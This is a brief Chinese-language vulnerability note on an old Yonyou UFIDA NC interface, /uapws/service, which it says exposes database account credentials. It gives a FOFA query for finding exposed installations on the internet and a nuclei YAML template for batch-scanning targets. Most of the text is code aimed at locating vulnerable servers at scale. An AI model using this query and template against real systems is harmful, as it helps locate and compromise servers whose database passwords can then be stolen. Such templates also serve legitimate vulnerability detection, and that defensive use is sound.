漏洞描述
用友nc有个接口可以获取数据库账户密码，不过是老版本了
漏洞复现
fofa语法：app="用友-UFIDA-NC"
POC:/uapws/service
nuclei批量yaml文件
id: yonyou_NC-uapws-server-api
info:
name: yonyou_NC-uapws-server-api
author: nigori
severity: high
description: fofa app="用友-UFIDA-NC"
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
tags: yonyou,nc,oa,bjxsec
requests:
- method: GET
path:
- "{{BaseURL}}/uapws/service"
matchers-condition: and
matchers:
- type: word
words:
- "{http://"
- "<html><body><p> <a"
- "</a> </p></body></html"
part: body
condition: and
- type: status
status:
- 200